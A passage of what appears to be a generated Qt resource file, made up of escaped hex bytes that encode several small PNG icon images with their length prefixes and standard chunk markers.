d\\xe3\\x87\\\n\\x7a\\x20\\xda\\x4c\\xf6\\xfd\\x20\\xeb\\x55\\x2f\\x87\\x9b\\x88\\x54\\x80\\xcc\\\n\\x5e\\xa8\\x95\\x17\\xa4\\x2d\\xd4\\x85\\xef\\x3f\\x96\\x22\\xb3\\xb1\\xf7\\x55\\\n\\xaf\\x38\\x85\\x00\\x63\\xf3\\x85\\x3c\\x01\\x87\\x77\\x19\\x01\\x96\\xdd\\xbf\\\n\\xae\\x3e\\xc3\\xb7\\xd5\\xe7\\x96\\x76\\x95\\x06\\x4c\\x9c\\x9a\\x1e\\xca\\x8d\\\n\\x1a\\xf7\\xc4\\x00\\x9f\\x0b\\x93\\x44\\xb8\\x66\\x6b\\x64\\x9b\\xc6\\x3b\\x11\\\n\\x6f\\x4c\\xc1\\x8c\\xc4\\x74\\xec\\x5d\\x46\\xff\\x2d\\x06\\x58\\xe0\\x53\\xf8\\\n\\x55\\xd4\\x9c\\x5a\\x85\\xb5\\x9f\\xcb\\xf8\\xb8\\x1c\\x17\\x22\\x7f\\x18\\x7a\\\n\\x5b\\x75\\xff\\xd2\\xd3\\x2b\\x42\\xbb\\x0d\\x2e\\x95\\xc3\\xc9\\xb4\\x4c\\x1e\\\n\\xd3\\x21\\x8a\\xc5\\x0c\\xc0\\x61\\x22\\x3a\\x69\\xd3\\xc1\\x75\\xcd\\xe7\\x96\\\n\\x46\\xb0\\x5e\\x10\\x3e\\x21\\x42\\x16\\x00\\x60\\x6d\\x6a\\x38\\x17\\x71\\xbd\\\n\\xce\\xd7\\x77\\x1b\\x10\\xbd\\x36\\x23\\x94\\x07\\xd0\\xff\\xbc\\xe0\\xeb\\xae\\\n\\x03\\xf4\\xab\\xd1\\x14\\x11\\x3d\\xdc\\x0b\\x00\\x66\\x1e\\xdd\\x0f\\x80\\x59\\\n\\x22\\xba\\x68\\x00\\xd4\\x7a\\xdc\\x2a\\x54\\x2b\\x73\\x82\\x99\\xe7\\x5c\\x07\\\n\\x18\\x50\\xa3\\x79\\x10\\x6d\\x6f\\xd1\\xbb\\x02\\x00\\xeb\\xdb\\xbd\\xbb\\xd7\\\n\\x5e\\x02\\x80\\x79\\xcd\\x75\\x80\\x7e\\x35\\xda\\xd8\\x21\\xd4\\xf0\\x49\\xdc\\\n\\xf0\\xdb\\xa8\\x9e\\x71\\xfd\\x6a\\x54\\x23\\xa2\\x6e\\x51\\xf6\\xc9\\x9e\\x03\\\n\\xcc\\xbc\\x38\\x1d\\xcb\\x85\\x5d\\xcf\\x01\\x5d\\xf4\\x66\\x05\\xaa\\x2c\\xec\\\n\\x06\\xc0\\xb2\\x94\\x70\\x7a\\x6f\\xb2\\xca\\x85\\x7a\\xf3\\x5b\\x16\\x73\\x4e\\\n\\x8b\\x37\\xc6\\xdf\\x09\\x44\\xa5\\x78\\xd3\\x6a\\xd4\\x2d\\x00\\x23\\x9c\\x14\\\n\\x50\\xd6\\x2c\\x27\\xfe\\x96\\xd0\\xbc\\x58\\x02\\x0f\\x4b\\x3d\\xd0\\xb8\\x09\\\n\\x60\\xcc\\x55\\x7e\\xa4\\xdc\\xfc\\xcc\\xa1\\x97\\xb6\\x3e\\x77\\x60\\x40\\x7f\\\n\\xfa\\x9a\\x25\\x40\\x9b\\x8a\\xe5\\x26\\x45\\xba\\xfe\\x00\\x27\\xdb\\x95\\x7b\\\n\\xff\\xb5\\x05\\x54\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\\n\\x00\\x00\\x01\\x0b\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x1f\\x2c\\x45\\x41\\xd1\\xc5\\x00\\x00\\x00\\xaa\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xed\\x95\\x41\\x0e\\xc3\\x20\\x0c\\x04\\xd7\\x55\\x1e\\x82\\x2f\\x7d\\\n\\x4a\\x1f\\xdd\\xa7\\xf4\\x62\\x7e\\xe2\\x5e\\x42\\x15\\xb9\\x8b\\x20\\x49\\x51\\\n\\x22\\x35\\x7b\\x23\\x02\\x1b\\xef\\x60\\x47\\xdc\\x1d\\x23\\x75\\xc3\\x60\\x5d\\\n\\x09\\x9a\\x9a\\x7a\\x36\\x89\\xc8\\x13\\x40\\x0a\\x9f\\xb3\\xbb\\x3f\\x7e\\x55\\\n\\x41\\x02\\xa0\\x8b\\xb5\\x92\\x84\\xdb\\x2b\\x98\\x65\\xee\\x7e\\x9f\\x2b\\x7a\\\n\\x9d\\x9b\\x01\\xf1\\x5c\\x01\\x58\\xd8\\xa6\\xa4\\x92\\x2f\\x2e\\x53\\xc3\\xf3\\\n\\x12\\xd4\\x00\\xe4\\x65\\x20\\x72\\x46\\xe9\\x65\\xd9\\xa8\\x28\\x37\\x2b\\x9e\\\n\\x77\\xbe\\x34\\x7a\\xe6\\xd0\\x3e\\x88\\x1e\\x7f\\xfc\\xad\\xf4\\x05\\xe3\\x54\\\n\\x4d\\x90\\x1b\\xfe\\x26\\x12\\xd0\\x18\\x1b\\xe9\\x19\\xd7\\xd1\\xdf\\x35\\x8c\\\n\\xfe\\x64\\xd8\\x11\\xe8\\x14\\xe8\\x9e\\x04\\x11\\x9e\\x55\\x9a\\x0d\\x9b\\x20\\\n\\x5f\\xbf\\xcc\\xa1\\x7a\\x03\\xad\\xdd\\x40\\xeb\\x00\\xb4\\x54\\xa6\\x00\\x00\\\n\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x02\\x49\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x00\\x06\\x62\\x4b\\x47\\x44\\x00\\xff\\x00\\xff\\x00\\xff\\xa0\\xbd\\\n\\xa7\\x93\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\\n\\x0b\\x13\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\\n\\xe1\\x09\\x15\\x0c\\x11\\x18\\x32\\xb4\\xe5\\x79\\x00\\x00\\x01\\xd6\\x49\\x44\\\n\\x41\\x54\\x68\\xde\\xed\\x59\\xbd\\x4e\\xc3\\x30\\x18\\xbc\\xb3\\xd8\\x20\\x7d\\\n\\x05\\x92\\xa7\\xe0\\x7d\\x40\\x1d\\x92\\x2c\\x54\\x2c\\x2c\\xa8\\xed\\x04\\x1b\\\n\\x0c\\x38\\x95\\x00\\xf1\\x38\\xbc\\x46\\xcd\\x23\\x50\\x87\\xb5\\x1f\\x4b\\x91\\\n\\x4a\\xa9\\xdd\\x1f\\x25\\x71\\x0a\\xb9\\xa9\\xd2\\xd9\\xd2\\xdd\\x77\\xfe\\xec\\\n\\x3a\\x06\\x3a\\x74\\xe8\\xf0\\xb7\\x71\\xaa\\x4b\\xc4\\xda\\xfa\\xf8\\xab\\x58\\\n\\xdb\\x51\\x28\\x7d\\xf4\\x8a\\x2f\\x2c\\xd4\\xe2\\xb7\\x08\\x60\\xf2\\x68\\x95\\\n\\xcf\\x15\\xf0\\xb8\\xe0\\xc7\\x26\\x8f\\x46\\xad\\x31\\x90\\xe8\\x19\\xc0\\x9f\\\n\\xf4\\xb2\\x89\\x44\\xcf\\xfa\\x20\\x9f\\x56\\xf8\\xc6\\x4d\\xa8\\x5d\\x28\\x12\\\n\\x4b\\xcb\\x49\\x9d\\xad\\xe1\\x87\\x4d\\x2f\\x27\\xa7\\x81\\x69\\x76\\x0c\\x11\\\n\\x71\\x9a\\x98\\x66\\xc7\\x7d\\x11\\x79\\x0d\\x6d\\xc2\\x9d\\x00\\x09\\x93\\xf7\\\n\\x20\\xeb\\x29\\xc4\\x45\\x29\\x26\\xef\\x5d\\x08\\x30\\x09\\x69\\x82\\xdb\\x0c\\\n\\x8a\\x0b\\xbb\\x76\\xe0\\x77\\x4f\\xc4\\x85\\x2d\\x08\\xa4\\x6b\\xf8\\xda\\x7b\\\n\\x82\\xdb\\x0e\\x6c\\xab\\x09\\xee\\x32\\xb8\\x8d\\x26\\xb8\\xeb\\x84\\xb6\\x99\\\n\\x50\\xbb\\x4e\\x30\\x59\\xe4\\x6e\\x6c\\x6d\\x61\\xb2\\x28\\x13\\xe0\\xa1\\xa9\\\n\\xc6\\xe6\\xbe\\x13\\xb7\\x48\\xe2\\x9e\\xc0\\x65\\xdd\\x49\\xa8\\x7d\\x27\\x7a\\\n\\x93\\x98\\x58\\x98\\x2c\\x1a\\x38\\x93\\x98\\xd8\\x61\\xf0\\x04\\xda\\x92\\x04\\\n\\xab\\xa8\\x42\\x48\\x13\\xaa\\x0a\\x03\\x26\\x8b\\x20\\x42\\x5f\\x63\\x0f\\x44\\\n\\x78\\x57\\x47\\x63\\xb3\\xca\\x1d\\x21\\xd6\\x25\\x48\\x71\\x27\\xa1\\xcb\\x5b\\\n\\x52\\xae\\xab\\x4c\\x82\\x55\\x6f\\x6b\\x4d\\x9b\\xa8\\xdc\\x40\\xd3\\x26\\x14\\\n\\x6a\\xc1\\x7c\\x13\\xff\\x11\\xfc\\x1c\\x70\\x57\\xdf\\x82\\xa4\\xa7\\xfa\\x76\\\n\\x44\\xf2\\xb6\\x95\\x4b\\xe8\\xa0\\x9b\\x38\\x84\\xf8\\xea\\x0e\\xb2\\x40\\xe2\\\n\\xbb\\xbf\\x12\\x4e\\xf1\\x04\\x4c\\xea\\x11\\x4f\\x8c\\x4c\\x1a\\x8d\\x83\\xee\\\n\\x42\\xde\\xca\\xa7\\x1b\\x2a\\x5f\\x91\\xf8\\xbd\\x13\\x68\\xcb\\x5d\\xa0\\xae\\\n\\x2b\\x65\\x63\\xe2\\xff\\xd7\\xa5\\xfe\\xa0\\x3f\\xab\\x1c\\xf4\\x87\\xad\\x36\\\n\\x8b\\x07\\x80\\x23\\x27\\x23\\xe2\\x17\\x9f\\x9d\\x30\\xc6\\xec\\x85\\xc0\\x79\\\n\\x28\\xf1\\x5e\\x03\\x49\\xf1\\xf9\\xeb\\x7d\\x60\\xb9\\xf2\\x09\\xca\\x67\\x90\\\n\\x41\\xc5\\x7b\\x0f\\xb2\\xb9\\x9a\\x3b\\xc5\\x2f\\xf8\\xb7\\xd0\\xe2\\xbd\\x06\\\n\\xde\\xd3\\xde\\x8f\\x8b\\xfa\\xea\\x13\\xd3\\x7b\\xda\\x7b\\x15\\xe1\\x65\\x48\\\n\\xf1\\x5b\\x21\\xd1\\xd6\\xfb\\xc8\\x97\\x68\\x7b\\x13\\xf2\\x91\\xaf\\x43\\x87\\\n\\x0e\\x07\\x8e\\x2f\\xb4\\x8b\\xba\\x91\\x1c\\xd8\\x87\\x66\\x00\\x00\\x00\\x00\\\n\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x00\\xe3\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x1d\\x34\\x64\\x1b\\x2b\\x11\\x00\\x00\\x00\\x82\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xed\\x95\\x31\\x0a\\x80\\x30\\x10\\x04\\xe7\\xac\\xcc\\x33\\xf4\\x15\\\n\\xfe\\xc1\\xbc\\xc8\\x42\\xff\\x29\\xe8\\x37\\x62\\x77\\x36\\x27\\x68\\xa3\\x41\\\n\\x11\\x14\\x6e\\x61\\x9b\\x0d\\xd9\\xe1\\x2e\\x45\\x44\\x55\\x79\\x53\\x05\\x2f\\\n\\xcb\\x01\\x3f\\x03\\x88\\xc8\\x28\\x22\\xa3\\xaf\\xc8\\x01\\x47\\xa9\\x6a\\x96\\\n\\x81\\x0a\\x50\\x73\\x95\\x7d\\x2f\\xa3\\xb8\\x04\\x7a\\x20\\xed\\x00\\xc9\\xb2\\\n\\xf2\\x11\\x00\\x68\\x81\\xc9\\x4a\\x67\\x20\\x9a\\xb7\\x6c\\x02\\xe2\\x2d\\x00\\\n\\xd0\\x58\\xc9\\x02\\x0c\\x40\\xd8\\x9d\\x05\\xcb\\xb6\\xa9\\x9a\\xbb\\x13\\x74\\\n\\x40\\x7d\\xf1\\x2e\\xdd\\x59\\x87\\xf8\\x87\\xe3\\x80\\xef\\x03\\x56\\x06\\xa3\\\n\\x17\\x6a\\xc6\\xca\\xc4\\x94\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\\n\\x60\\x82\\\n\\x00\\x00\\x02\\x09\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x01\\xd0\\x49\\x44\\x41\\x54\\x68\\x43\\xed\\x98\\x3d\\x52\\xc2\\x50\\\n\\x10\\xc7\\x77\\x49\\x28\\xb4\\x11\\x4f\\x20\\xdc\\x00\\x4a\\xc7\\x01\\xa1\\x13\\\n\\x2b\\x6f\\xa0\\x1c\\xc1\\x02\\x66\\x3c\\x81\\x33\\x5a\\x70\\x04\\x73\\x05\\x9b\\\n\\x48\\x27\\x62\\x61\\xeb\\x0d\\xc0\\x1b\\x40\\x63\\xe3\\x83\\x75\\xde\\x0c\\x30\\\n\\x46\\x42\\xbe\\x96\\x8f\\x7d\\x33\\x2f\\x65\\x92\\xdd\\xec\\xef\\xff\\xdf\\x24\\\n\\xfb\\x1e\\x82\\xe1\\x07\\x1a\\x5e\\x3f\\x58\\x80\\x7d\\x3b\\x68\\x1d\\xb0\\x0e\\\n\\x30\\x15\\xb0\\x2d\\xc4\\x14\\x90\\x1d\\x6e\\x1d\\x60\\x4b\\xc8\\x4c\\xb0\\xe2\\\n\\xc0\\xfd\\xc7\\x45\\xd1\\x51\\xd8\\x05\\x82\\x32\\x22\\x16\\x99\\xf9\\x13\\x87\\\n\\x13\\x41\\xab\\x53\\xf3\\xbd\\xc4\\x01\\xf3\\x1b\\x03\\x00\\xdd\\xd7\\x7a\\x41\\\n\\x39\\x87\\x43\\x40\\x28\\xa4\\x4d\\xb4\\x89\\xfb\\xb3\\x40\\x04\\x00\\x1e\\x07\\\n\\x4d\\x0f\\x10\\xaf\\x37\\x51\\x4c\\xd6\\x1c\\x69\\x21\\x02\\x00\\x0f\\x83\\xe6\\\n\\x70\\x97\\x6d\\xb3\\x0e\\x32\\x0d\\x44\\xd0\\x81\\xf7\\x4b\\xca\\xaa\\xdc\\xe6\\\n\\xe3\\x66\\x8d\\x76\\xb5\\xd7\\x8f\\xcb\\x2b\\x17\\x80\\x60\\x4c\\x0e\\x34\\x3a\\\n\\x67\\xfe\\x67\\x14\\x84\\x5c\\x00\\x5d\\x75\\x02\\x08\\xd9\\x00\\x09\\x20\\xe4\\\n\\x03\\xc4\\x40\\x98\\x01\\x10\\x01\\x61\\x0e\\xc0\\x1c\\x42\\xe5\\x67\\x95\\xbb\\\n\\xd3\\xde\\x68\\xf1\\x62\\x8b\\x03\\x20\\xa0\\xb7\\xa9\\x4b\\x37\\xba\\x40\\x47\\\n\\xa1\\x87\\x80\\xe7\\x81\\xaf\\x10\\xc1\\x73\\xbb\\xe6\\x5f\\x89\\x05\\x50\\xee\\\n\\xac\\xb4\\x50\\x58\\xcf\\x65\\xae\\xca\\x0d\\xff\\x02\\x10\\xd1\\xa8\\x53\\x7b\\\n\\x29\\x89\\x05\\x70\\xd5\\xf7\\xf1\\x6d\\xa3\\x3f\\xd6\\x05\\x86\\x01\\x00\\xc0\\\n\\x57\\xbb\\xea\\x2f\\x87\\x4c\\x71\\x2d\\x04\\x40\\x7d\\xe5\\x52\\x4b\\x03\\xb8\\\n\\x0a\\x9f\\x00\\xb0\\x6e\\x54\\x0b\\x45\\xfd\\x75\\x89\\x68\\x32\\xcd\\x53\\x59\\\n\\xf4\\x4b\\xbc\\x7e\\xc0\\xa3\\x09\\x38\\x58\\xff\\x3f\\x5a\\x08\\x6c\\xa1\\x70\\\n\\x04\\xca\\x41\\x25\\x6c\\x2e\\x32\\x02\\x20\\x6a\\xbc\\x16\\x0f\\x10\\xb7\\x36\\\n\\x10\\x0d\\x10\\x57\\xbc\\x6e\\x36\\xb1\\x00\\x49\\x8a\\x0f\\x03\\xd0\\x33\\xc6\\\n\\x49\\xdc\\x2a\\x68\\xdb\\xd7\\x93\\x16\\xbf\\x0a\\x60\\xfa\\xa2\\x5e\\x6f\\xab\\\n\\xfc\\x38\\x07\\x23\\x44\\x3c\\xda\\xb6\\xca\\x61\\xf9\\xd3\\x28\\x1f\\x3a\\x0b\\\n\\xe9\\x93\\xf3\\xbd\\x21\\x0f\\x10\\xca\\xbb\\x6c\\xa7\\x2c\\xc5\\xaf\\xb4\\xd0\\\n\\x3e\\x54\\xe7\\x3e\\xd3\\x6e\\xee\\x72\\x15\\xe4\\xc6\\x5b\\x07\\xb8\\x0a\\x72\\\n\\xe3\\xad\\x03\\x5c\\x05\\xb9\\xf1\\xd6\\x01\\xae\\x82\\xdc\\x78\\xeb\\x00\\x57\\\n\\x41\\x6e\\xfc\\x2f\\x3c\\x2a\\xe0\\x31\\x35\\x77\\x49\\x37\\x00\\x00\\x00\\x00\\\n\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x00\\x94\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x23\\x31\\x55\\xb4\\xc4\\xe3\\x00\\x00\\x00\\x33\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\x63\\xfc\\xff\\xff\\x3f\\x03\\x2d\\x01\\x13\\x03\\x8d\\xc1\\xa8\\x05\\\n\\x43\\xcc\\x02\\x46\\x46\\xc6\\x5b\\x8c\\x8c\\x8c\\xb7\\x46\\x83\\x68\\xd4\\x82\\\n\\x51\\x0b\\x46\\x2d\\x18\\x6a\\x16\\x30\\x8e\\x56\\x99\\xc3\\xdf\\x02\\x00\\x1e\\\n\\x77\\x07\\xe3\\x82\\x8f\\x12\\xdd\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\\n\\x42\\x60\\x82\\\n\\x00\\x00\\x02\\x72\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x02\\x39\\x49\\x44\\x41\\x54\\x68\\x43\\xed\\x99\\x3d\\x6e\\x13\\x41\\\n\\x14\\xc7\\x7f\\x0f\\xcb\\x60\\xf1\\x95\\x00\\x16\\x12\\x08\\x88\\x13\\x29\\x24\\\n\\x4a\\x15\\x17\\xd9\\x6d\\xe1\\x04\\xc0\\x0d\\xec\\x1b\\x90\\x1b\\x90\\x8e\\x0e\\\n\\xa8\\x28\\x09\\x37\\x48\\x6e\\x10\\x4e\\x40\\xe8\\xd6\\xd0\\x6c\\x4e\\x80\\x45\\\n\\x85\\x90\\xcc\\xa0\\xb1\\xb2\\x76\\xc0\\x13\\xf1\\xc6\\xf1\\x38\\xb3\\xd1\\x4e\\\n\\xb5\\xc5\\xdb\\x99\\xf7\\x9b\\xff\\x7c\\xfc\\xf7\\xad\\x50\\xf2\\x26\\x25\\xcf\\\n\\x9f\\x0a\\xe0\\xbc\\x15\\xac\\x14\\xa8\\x14\\x38\\xe3\\x0c\\x5c\\xcc\\x25\\x64\\\n\\x3e\\xd0\\x42\\x78\\x03\\x6c\\x02\\x2d\\xe5\\x24\\xed\\x4a\\x87\\xae\\x32\\x76\\\n\\x66\\x61\\x13\\x0a\\x1c\\x27\\xff\\x19\\x58\\x9c\\x62\\x94\\xb9\\x43\\xb8\\x00\\\n\\xf6\\x10\\x9e\\x4d\\x91\\x7c\\xf1\\xca\\x5c\\x21\\x26\\x01\\x76\\xf9\\x3e\\xe5\\\n\\xec\\x9f\\x64\\x9e\\x1b\\x84\\x0b\\xc0\\x9c\\x61\\xf6\\x67\\xf9\\x6a\\x0e\\x1c\\\n\\x62\\xd8\\x96\\x2e\\xf6\\xd9\\xd9\\x62\\x06\\x28\\x12\\xee\\x63\\x68\\x9f\\x06\\\n\\x51\\x06\\x00\\x30\\xec\\x4b\\x97\\xe7\\x2e\\x09\\xca\\x01\\x00\\xb9\\x74\\x58\\\n\\x2e\\x33\\x00\\xd2\\x71\\x3b\\xe7\\xb2\\x28\\x30\\x43\\x80\\xda\\x25\\xb8\\x73\\\n\\x1b\\x6e\\x2e\\xc0\\xe5\\xfa\\x2c\\x4f\\x1d\\x4d\\x5f\\x07\\x08\\x3b\\xb2\\x95\\\n\\x1d\\x14\\xc1\\xfe\\x0a\\x2c\\x3d\\x82\\x6b\\x57\\x35\\x83\\x85\\x8b\\x31\\xbf\\\n\\x5f\\x48\\xfa\\x75\\xcf\\x0e\\xe0\\x07\\x70\\xe3\\x3a\\x3c\\x7c\\x10\\x2e\\x31\\\n\\x6d\\xcf\\x86\\x5c\\xd2\\x6c\\xb8\\xa9\\xfd\\x00\\xee\\xdf\\x83\\xc5\\x05\\xed\\\n\\x30\\x61\\xe3\\xea\\x2c\\x4b\\x3b\\xcb\\xfd\\x00\\x56\\x5a\\xd0\\x68\\x84\\x4d\\\n\\x4c\\xdb\\x7b\\xfd\\xe7\\x2d\\x69\\xe7\\x7d\\x3f\\x80\\x8d\\x75\\x6d\\xf7\\xc1\\\n\\xe3\\x24\\xc9\\x86\\xb9\\xeb\\x01\\x1a\\x57\\x60\\xc5\\x79\\x97\\x04\\x4f\\xd6\\\n\\x31\\xc0\\x27\\x49\\xb2\\x27\\x7e\\x00\\x76\\xed\\xdb\\x3d\\x10\\x45\\x33\\xef\\\n\\x24\\xe9\\xbd\\xf4\\x03\\x68\\x36\\xe1\\x6e\\x33\\x8a\\xf4\\x11\\xb3\\x2d\\x5b\\\n\\xbd\\xb7\\x7e\\x00\\x31\\x9c\\xff\\xe3\\xdb\\xeb\\x69\\x71\\x99\\xe9\\xf7\\xc0\\\n\\xda\\x2a\\xd4\\x6a\\x71\\x28\\x70\\x7c\\x02\\xe9\\x15\\xb0\\xf6\\x61\\xed\\x71\\\n\\x1c\\xc9\\x1b\\x8e\\x24\\xcd\\x46\\x85\\x06\\x9d\\x02\\xd6\\x3a\\xd8\\x25\\x14\\\n\\x47\\x1b\\x9d\\x40\\x7a\\x05\\x62\\xda\\xc0\\x86\\x1d\\x49\\xb3\\x57\\x7e\\x66\\\n\\x2e\\x26\\x0b\\x71\\xc2\\xc8\\xe9\\x15\\x88\\xc9\\x42\\x30\\x68\\x4b\\xf2\\xed\\\n\\xd0\\x4f\\x81\\x08\\x2d\\x84\\x1e\\x20\\x26\\x0b\\x61\\xcc\\x17\\x49\\x7b\\xb6\\\n\\xdc\\x39\\x6a\\xae\\xca\\x5c\\x1f\\x61\\xec\\x99\\xa3\\xb2\\x10\\x7c\\x94\\x24\\\n\\xeb\\xfc\\x0f\\xe0\\xef\\xd2\\x62\\x54\\x27\\xd0\\xf8\\x4b\\xec\\xf4\\x25\\x64\\\n\\x2b\\xd3\\xb6\\x22\\x56\\xa8\\x10\\x8b\\x85\\x30\\x66\\x5f\\xd2\\xde\\x44\\x6d\\\n\\xc8\\xf9\\x7f\\x60\\x58\\xa1\\x06\\x6b\\x96\\x36\\x59\\x5f\\x5d\\x3a\\x57\\x0b\\\n\\x31\\x18\\xfc\\x00\\x79\\x4f\\xe3\\xd7\\x6b\\xfb\\x01\\xf3\\xef\\x5d\\x7a\\x31\\\n\\x7f\\x70\\xc4\\xe1\\x18\\x74\\x59\\x54\\x0a\\xe8\\xe6\\x29\\x5c\\x54\\xa5\\x40\\\n\\xb8\\xb9\\xd5\\xf5\\x5c\\x29\\xa0\\x9b\\xa7\\x70\\x51\\x7f\\x00\\x09\\x46\\xb0\\\n\\x31\\x7f\\xac\\xfa\\x01\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\\n\\x82\\\n\\x00\\x00\\x01\\xdc\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x01\\xa3\\x49\\x44\\x41\\x54\\x68\\x43\\xed\\x98\\x4f\\x2f\\x03\\x51\\\n\\x14\\xc5\\x6f\\x53\\xa4\\x42\\x84\\x34\\xb1\\x94\\x08\\xad\\xad\\x05\\x1b\\x0b\\\n\\x9f\\x82\\x15\\x7b\\xac\\x89\\xa5\\x90\\x48\\x24\\xc2\\xce\\x82\\x0f\\x60\\xd7\\\n\\x9d\\x8f\\xa1\\x0b\\xdb\\xd6\\xff\\xda\\x68\\xa4\\x09\\x0b\\xa4\\xa5\\x46\\x46\\\n\\x52\\x3c\\x06\\x67\\xe6\\xdd\\xeb\\xbd\\x97\\xbc\\xee\\x9a\\x9e\\x9c\\x39\\xbf\\\n\\x7b\\xee\\xb4\\x6f\\x9a\\x22\\xc7\\x5f\\x29\\xc7\\xf3\\x93\\x07\\x30\\xdd\\xa0\\\n\\x6f\\xc0\\xda\\x06\\xc6\\x76\\x8f\\x83\\x56\\xb8\\xfb\\xeb\\xb3\\xc8\\x9c\\x1b\\\n\\x93\\xdd\\x6c\\xf9\\xd7\\xcb\\xfd\\x1f\\x5e\\x01\\xad\\x15\\x17\\x72\\xab\\x88\\\n\\xf9\\x8f\\x2b\\x64\\x14\\x20\\x4c\\x0e\\x42\\xfc\\x1b\\xc0\\xf2\\xd2\\xa2\\x32\\\n\\xd0\\xcd\\xad\\x6d\\xe5\\xbd\\xd2\\x40\\xeb\\x13\\x00\\xc2\\x6e\\x00\\xa0\\x09\\\n\\xfb\\x01\\xfe\\x80\\x70\\x03\\x80\\x88\\x8a\\xf3\\xb9\\xc8\\xac\\x1e\\x00\\xf9\\\n\\xaa\\x0b\\x35\\x89\\x6e\\xe2\\x4f\\xe6\\xbe\\x81\\xa8\\x49\\xc7\\xf9\\x21\\x33\\\n\\xdb\\x40\\xf5\\x82\\x28\\x78\\xf9\\xc6\\xb0\\x32\\xd1\\x45\\x9d\\x6d\\xfa\\xc7\\\n\\xa9\\xdb\\xa7\\x34\\xed\\x9c\\x67\\x7f\\xdd\\x46\\xad\\x15\\x6a\\x36\\x1e\\xa9\\\n\\x7e\\x77\\x43\\x41\\xf3\\x59\\xb9\\xc8\\x60\\x6f\\x9a\\xa6\\xf3\\x19\\xea\\xcb\\\n\\x24\\x87\\x08\\xc3\\x1f\\x54\\x7b\\xe8\\xf2\\xa1\\x5d\\x0e\\x00\\xbd\\x51\\x25\\\n\\x75\\x5a\\x0d\\x48\\x06\\x43\\xbd\\x3d\\x00\\x3a\\x29\\x29\\x9d\\x6f\\x40\\x6a\\\n\\xb2\\xa8\\xaf\\x56\\x03\\xfb\\x53\\x03\\x94\\xcf\\x76\\xa0\\xd7\\x62\\xd1\\x95\\\n\\x6a\\x75\\x9a\\x2d\\x5c\\xbd\\x7b\\x69\\x01\\x1c\\xce\\x0d\\xb3\\x84\\x8a\\x6b\\\n\\x32\\xbe\\x77\\xe2\\x01\\xde\\x26\\xf0\\xb5\\x81\\xa3\\xd2\\x69\\xdc\\x61\\x42\\\n\\xfa\\xd1\\x91\\x21\\x45\\x27\\xd6\\x80\\xf3\\x00\\xd0\\x38\\x19\\x44\\x62\\x0d\\\n\\x30\\x64\\x83\\x2c\\xc4\\x00\\x9c\\x5f\\x21\\xe7\\x01\\xa0\\xfe\\x19\\x44\\x62\\\n\\x2b\\xc4\\x90\\x0d\\xb2\\x10\\x03\\x70\